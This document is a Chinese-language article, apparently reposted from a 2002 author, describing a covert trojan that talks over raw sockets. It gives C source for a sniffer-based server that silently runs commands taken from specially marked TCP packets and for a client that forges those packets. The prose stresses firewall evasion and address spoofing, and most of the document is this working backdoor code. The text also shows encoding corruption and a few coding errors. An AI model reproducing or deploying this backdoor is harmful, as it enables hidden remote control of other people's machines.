基于嗅探原理的原始套接字木马
????首先我們說說現有木馬的特點和功能。早期木馬一般都是基于TCP連接的，現在這種木馬的生存能力
非常有限，因為直接基于連接的木馬很容易被攔截或者發現。然后有通過改變協議來實現通訊隱藏的木馬，
比如采用UDP或者ICMP或者其他協議的，當然，這些協議通常對于主機來說并不常用，所以很多安全配置
上就要求盡量禁止這些協議，比如禁止ICMP，讓ICMP木馬沒有了生存機會。反向連接或者ACK木馬等非常流
行，因為表現為不是直接的由外向內的TCP連接。
????當然木馬還更多發展在自身的隱藏上，比如注射、核心木馬等。不過該方法的重點暫不是自身進程的
隱藏，而強調在通訊方式上。
????這里講的一種實現方式是：使用基于嗅探原理的原始套接字木馬。它的基本實現是：服務器端是一個
sniffer和發包器，它將捕獲指定特征的數據包?？蛻舳耸且粋€發包器和嗅探器，用來發送指定特征的數據
包并包括定義的命令以及接收server的數據。當server捕獲到該指定特征的數據包時，變成激活狀態，通
過分析該數據包，獲得client發送的命令和client的IP地址，然后實現相應的命令，并將執行后的結果發
送回client，client的嗅探部分則接收相應的數據。所有的數據發送都是通過原始套接字（或相應）進行。
????比如：我們設置特定的協議或者ACK或者其他位及其集合為特征。
????該方式的優點：完全基于非連接狀態，使用原始包進行通訊，不同協議有關，可使用任意協議，可采
用任意指定的數據包形式，可實現部分的隱藏地址（如果是非交換的局域網則是可以完全的隱藏地址）、
可實現無連接反向通訊、甚至能夠突破一些防火墻的監視；
????缺點：不是可靠的數據連接、不穩定地執行大數據傳輸，對于數據流量較大的SERVER，其sniffer的效
率占很重要的地位；
????以下是一個簡單的演示，看起來比較象一個后門。呵呵。麻雀雖小，五臟具全。
????其中定義了一個簡單的木馬協議，基于TCP協議基礎上，使用了SEQ位來判別而不基于端口，能夠執行指定的命令。
定義部分：
#define MAX_PACKET_SIZE????????65536
#define SEQ_IDENTITY????????12345????//驗證是否符合需要的SEQ值，這個值在正常包中不會有吧！
#define TROJAN_ID_IDENTITY????6789????//驗證是否符合需要的trojan_id值
#define LOCAL_PORT????????1234????//本地Port, 這個定義并沒有實際意義
#define SERVER_PORT????????80????//服務端Port, 這個定義并沒有實際意義
typedef struct ip_hdr????????????????//定義IP首部
{
????unsigned char????h_verlen;????????//4位首部長度,4位IP版本號
????unsigned char????tos;????????????//8位服務類型TOS
????unsigned short????total_len;????????//16位總長度（字節）
????unsigned short????ident;????????????//16位標識
????unsigned short????frag_and_flags;????//3位標志位
????unsigned char????ttl;????????????//8位生存時間 TTL
????unsigned char????proto;????????????//8位協議 (TCP, UDP 或其他)
????unsigned short????checksum;????????//16位IP首部校驗和
????unsigned int????sourceIP;????????//32位源IP地址
????unsigned int????destIP;????????????//32位目的IP地址
}IP_HEADER, *PIP_HEADER;
typedef struct psd_hdr????????????????//定義TCP偽首部
{
????unsigned long????saddr;????????????//源地址
????unsigned long????daddr;????????????//目的地址
????char????????????mbz;
????char????????????ptcl;????????????//協議類型?
????unsigned short????tcpl;????????????//TCP長度
}PSD_HEADER;
typedef struct tcp_hdr????????????????//定義TCP首部
{
????unsigned short????th_sport;????????//16位源端口
????unsigned short????th_dport;????????//16位目的端口
????unsigned int????th_seq;????????????//32位序列號
????unsigned int????th_ack;????????????//32位確認號
????unsigned char????th_lenres;????????//4位首部長度/6位保留字
????unsigned char????th_flags;????????//6位標志位
????unsigned short????th_win;????????????//16位窗口大小
????unsigned short????th_sum;????????????//16位校驗和
????unsigned short????th_urp;????????????//16位緊急數據偏移量
}TCP_HEADER, *PTCP_HEADER;
typedef struct trojan_packet????????//定義木馬使用的協議
{
????unsigned int????trojan_id;????????//木馬數據包的標識,網絡順序
????unsigned short????trojan_len;????????//執行的命令長度,主機順序
}TROJAN_HEADER, *PTROJAN_HEADER;
/*
木馬數據包的結構
————————————————————-
| IP Header | TCP Header??| Trojan Header | Trojan Command
————————————————————-
包的最小程度是46字節
*/
#pragma pack(pop)
SERVER部分的演示(Server.cpp)：
//??????
//??????SniffTrojan
//??????
//??????File??????: Server.cpp
//??????Comment?? : The Server model
//??????
//??????Created at : 2002.9.13
//??????Created by : Refdom
//????????Email??????: refdom@263.net
//????????Home Page :?www.opengram.com
//
//????????If you modify the code, or add more functions, please email me a copy.
//??????
/*
木馬數據包的結構
————————————————————-
| IP Header | TCP Header??| Trojan Header | Trojan Command
————————————————————-
包的最小程度是46字節
*/
//
void Usage();
int SniffThread();
int SendThread();
int DecodeData(char* pBuffer);
unsigned long GetLocalIP();
//
int main(int argc, char* argv[])
{
????WSADATA WSAData;
????int nRetCode = 0;
????if (WSAStartup(MAKEWORD(2,2), &WSAData) != 0 )
????{
????????//WSAStartup Error!
????????printf(“WSAStartup Error!%d\n”, WSAGetLastError());
????????nRetCode = -1;
????????return nRetCode;
????}
????
????//開始嗅探數據
????SniffThread();
????//quit
????WSACleanup();
????return 0;
}
void Usage()
{
????printf(“**************************************************\n”);
????printf(“Demo For SniffTrojan\n\n”);
????printf(“\t Written by Refdom\n”);
????printf(“\t Email: refdom@xfocus.org??or??refdom@263.net\n”);
????printf(“\t Homepage:?www.xfocus.org??or??www.opengram.com\n”);
????printf(“**************************************************\n”);
}
int SniffThread()
{
????int nRetCode = 0;
????int nRecvBytes = 0;
????char* pBuffer = NULL;
????SOCKET nSock = INVALID_SOCKET;
????SOCKADDR_IN addr_in;
????DWORD dwBufferLen[10];
????DWORD dwBufferInLen = 1;
????DWORD dwBytesReturned = 0;
????//define a raw socket
????nSock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
????if (INVALID_SOCKET == nSock)
????{
????????nRetCode = -1;
????????goto Exit0;
????}
????addr_in.sin_family = AF_INET;
????addr_in.sin_port??= INADDR_ANY;
????addr_in.sin_addr.S_un.S_addr = GetLocalIP();
????nRetCode = bind(nSock, (struct sockaddr*)&addr_in, sizeof(addr_in));
????if (SOCKET_ERROR == nRetCode)
????{
????????printf(“BIND Error!%d\n”, WSAGetLastError());
????????goto Exit0;
????}
????//socket for sniffer
????nRetCode = WSAIoctl(nSock, SIO_RCVALL, &dwBufferInLen, sizeof(dwBufferInLen),
????????&dwBufferLen, sizeof(dwBufferLen), &dwBytesReturned , NULL , NULL );
????if (SOCKET_ERROR == nRetCode)
????{
????????printf(“WSAIOCTL Error!%d\n”, WSAGetLastError());
????????goto Exit0;
????}
????//start sniffing
????pBuffer = (char*)malloc(MAX_PACKET_SIZE);
????while(1)
????{
????????memset(pBuffer, 0, MAX_PACKET_SIZE);
????????nRecvBytes = recv(nSock, pBuffer, MAX_PACKET_SIZE, 0);
????????if (SOCKET_ERROR == nRetCode)
????????{
????????????printf(“RECV Error!%d\n”, WSAGetLastError());
????????????goto Exit0;
????????}
????????if (nRecvBytes < 46)
????????????continue;
????????
????????DecodeData(pBuffer);????//數據解碼
????}
Exit0:
????if (pBuffer != NULL)
????????free(pBuffer);
????if (nSock != INVALID_SOCKET)
????????closesocket(nSock);
????return nRetCode;
}
//獲取本地IP地址
unsigned long GetLocalIP()
{
????char szLocalIP[20] = {0};
????char szHostName[128+1] = “\0″;
????hostent *phe;
????int i;
????if( gethostname(szHostName, 128 ) == 0 ) {
????????// Get host adresses
????????phe = gethostbyname(szHostName);
????????for( i = 0; phe != NULL && phe->h_addr_list[i]!= NULL; i++ )
????????{
????????????sprintf(szLocalIP, “%d.%d.%d.%d”,?
????????????????(UINT)((UCHAR*)phe->h_addr_list[i])[0],
????????????????(UINT)((UCHAR*)phe->h_addr_list[i])[1],
????????????????(UINT)((UCHAR*)phe->h_addr_list[i])[2],?
????????????????(UINT)((UCHAR*)phe->h_addr_list[i])[3]);
????????}
????}
????else
????????return 0;
????return inet_addr(szLocalIP);
}
int DecodeData(char* pBuffer)
{
????int nRetCode = 0;
????char* pCommand = NULL;
????unsigned short usCmdLength = 0;
????PIP_HEADER pIPHeader = NULL;
????PTCP_HEADER pTCPHeader = NULL;
????PTROJAN_HEADER pTrojanHeader = NULL;
????pIPHeader = (PIP_HEADER)pBuffer;
????//只取TCP包
????if (pIPHeader->proto != IPPROTO_TCP)
????????goto Exit0;
????pTCPHeader = (PTCP_HEADER)(pBuffer + sizeof(IP_HEADER));
????//驗證該TCP包是否其SEQ值符合需要
????if (ntohs(pTCPHeader->th_seq) !=??SEQ_IDENTITY)
????????goto Exit0;
????pTrojanHeader = (PTROJAN_HEADER)(pBuffer + sizeof(IP_HEADER) + sizeof(TCP_HEADER));
????//驗證該TCP包是否是合法的木馬包
????if (ntohs(pTrojanHeader->trojan_id) != TROJAN_ID_IDENTITY)
????????goto Exit0;
????usCmdLength = pTrojanHeader->trojan_len;????//獲得命令的長度
????if (0 == usCmdLength)
????????goto Exit0;
????printf(“OK!\n”);
????pCommand = (char*)malloc(usCmdLength + 1);
????memset(pCommand, 0, usCmdLength + 1);
????memcpy(pCommand, pBuffer + sizeof(IP_HEADER) + sizeof(TCP_HEADER) + sizeof(TROJAN_HEADER), usCmdLength);
????nRetCode = WinExec(pCommand, SW_HIDE);????//執行命令
????if (nRetCode > 31)
????{
????????//WinExec Successfully!
????}
Exit0:
????return nRetCode;
}
控制端的演示（Client.cpp）：
//
void Usage()
{
????printf(“**************************************************\n”);
????printf(“Demo For SniffTrojan\n\n”);
????printf(“\t Written by Refdom\n”);
????printf(“\t Email: refdom@xfocus.org??or??refdom@263.net\n”);
????printf(“\t Homepage:?www.xfocus.org??or??www.opengram.com\n”);
????printf(“Usage: Client.exe ServerIP Command\n”);
????printf(“eg:Client.exe 192.168.0.2 \”net user guest /active\”\n”);
????printf(“**************************************************\n”);
}
//
int main(int argc, char* argv[])
{
????int nRetCode = 0, nCommandLength = 0;
????char szDataBuf[MAX_PACKET_SIZE] = {0};
????char* pCommand = NULL;
????BOOL bOption;
????WSADATA WSAData;
????SOCKET nSock = INVALID_SOCKET;
????SOCKADDR_IN????addr_in;
????IP_HEADER IP_Header;
????TCP_HEADER TCP_Header;
????PSD_HEADER PSD_Header;
????TROJAN_HEADER Trojan_Header;
????Usage();
????if (argc != 3)
????{
????????printf(“\nArguments Error!\n”);
????????return -1;
????}
????//獲得需要執行的命令
????nCommandLength = strlen(argv[2]);
????pCommand = (char*)malloc(nCommandLength + 2);
????memset(pCommand, 0, nCommandLength + 2);
????memcpy(pCommand, argv[2], nCommandLength);
????if (WSAStartup(MAKEWORD(2,2), &WSAData) != 0)
????{
????????//WSAStartup Error!
????????printf(“WSAStartup Error!%d\n”, WSAGetLastError());
????????nRetCode = -1;
????????return nRetCode;
????}
????nSock = socket(AF_INET, SOCK_RAW, IPPROTO_IP);
????if (INVALID_SOCKET == nSock)
????{
????????printf(“SOCKET Error!%d\n”, WSAGetLastError());
????????goto Exit0;
????}
????nRetCode = setsockopt(nSock, IPPROTO_IP, IP_HDRINCL, (char*)&bOption, sizeof(bOption));
????if (SOCKET_ERROR == nRetCode)
????{
????????printf(“SetSockOpt Error!%d\n”, WSAGetLastError());
????????goto Exit0;
????}
????//填充IP首部
????IP_Header.h_verlen = (4 << 4) | (sizeof(IP_HEADER) / sizeof(unsigned long));
????IP_Header.tos = 0;
????IP_Header.total_len = htons(sizeof(IP_HEADER) + sizeof(TCP_HEADER));
????IP_Header.frag_and_flags = 0;
????IP_Header.ttl = 128;
????IP_Header.proto = IPPROTO_TCP;
????IP_Header.checksum = 0;
????IP_Header.sourceIP = GetLocalIP();????//當然可以偽造自己的地址
????IP_Header.destIP = inet_addr(argv[1]);?? //服務器端IP地址，如果是非交換網絡，那么可以不是服務器的地址，而設置一個同網
段或者同HUB的地址。
????//填充TCP首部
????TCP_Header.th_sport = htons(LOCAL_PORT);??//這個端口沒有實際意義，倒是可以躲開防火墻
????TCP_Header.th_dport = htons(SERVER_PORT); //這個端口沒有實際意義，倒是可以躲開防火墻
????TCP_Header.th_seq = htons(SEQ_IDENTITY);????????//木馬服務器端的識別標志
????TCP_Header.th_ack = 345678;
????TCP_Header.th_lenres = (sizeof(TCP_HEADER)/4<<4|0);
????TCP_Header.th_flags = 0×01;????????????//隨意設置TCP標志位
????TCP_Header.th_win = 12345;
????TCP_Header.th_urp = 0;
????TCP_Header.th_sum = 0;
????//填充木馬協議的頭部
????Trojan_Header.trojan_id = htons(TROJAN_ID_IDENTITY);
????Trojan_Header.trojan_len = nCommandLength;
????//填充TCP偽首部（用于計算校驗和）
????PSD_Header.saddr = IP_Header.sourceIP;
????PSD_Header.daddr = IP_Header.destIP;
????PSD_Header.mbz = 0;
????PSD_Header.ptcl = IPPROTO_TCP;
????PSD_Header.tcpl = htons(sizeof(TCP_HEADER) + sizeof(TROJAN_HEADER) + nCommandLength);
????//計算TCP校驗和
????memcpy(szDataBuf, &PSD_Header, sizeof(PSD_HEADER));
????memcpy(szDataBuf + sizeof(PSD_HEADER), &TCP_Header, sizeof(TCP_HEADER));
????memcpy(szDataBuf + sizeof(PSD_HEADER) + sizeof(TCP_HEADER), &Trojan_Header, sizeof(TROJAN_HEADER));
????memcpy(szDataBuf + sizeof(PSD_HEADER) + sizeof(TCP_HEADER) + sizeof(TROJAN_HEADER), pCommand, nCommandLength);
????TCP_Header.th_sum = CheckSum((unsigned short *)szDataBuf, sizeof(PSD_HEADER) + sizeof(TCP_HEADER) +
sizeof(TROJAN_HEADER) + nCommandLength);
????//填充發送緩沖區
????memcpy(szDataBuf, &IP_Header, sizeof(IP_HEADER));
????memcpy(szDataBuf + sizeof(IP_HEADER), &TCP_Header, sizeof(TCP_HEADER));
????memcpy(szDataBuf + sizeof(IP_HEADER) + sizeof(TCP_HEADER), &Trojan_Header, sizeof(TROJAN_HEADER));
????memcpy(szDataBuf + sizeof(IP_HEADER) + sizeof(TCP_HEADER) + sizeof(TROJAN_HEADER), pCommand, nCommandLength);
????addr_in.sin_family = AF_INET;
????addr_in.sin_port = htons(LOCAL_PORT);
????addr_in.sin_addr.S_un.S_addr = inet_addr(argv[1]);
????//發送命令
????printf(“Start to send command…\n”);
????nRetCode = sendto(nSock, szDataBuf,?
??????????????????????sizeof(IP_HEADER) + sizeof(TCP_HEADER) + sizeof(TROJAN_HEADER) + nCommandLength,?
??????????????????????0, (struct sockaddr*)&addr_in, sizeof(addr_in));
????if (SOCKET_ERROR == nRetCode)
????{
????????printf(“Sendto Error!%d\n”, WSAGetLastError());
????????goto Exit0;
????}
????printf(“Send OK!\n”);
Exit0:
????if (pCommand != NULL)
????????free(pCommand);
????if (nSock != INVALID_SOCKET)
????????closesocket(nSock);
????
????WSACleanup();
????return 0;
}
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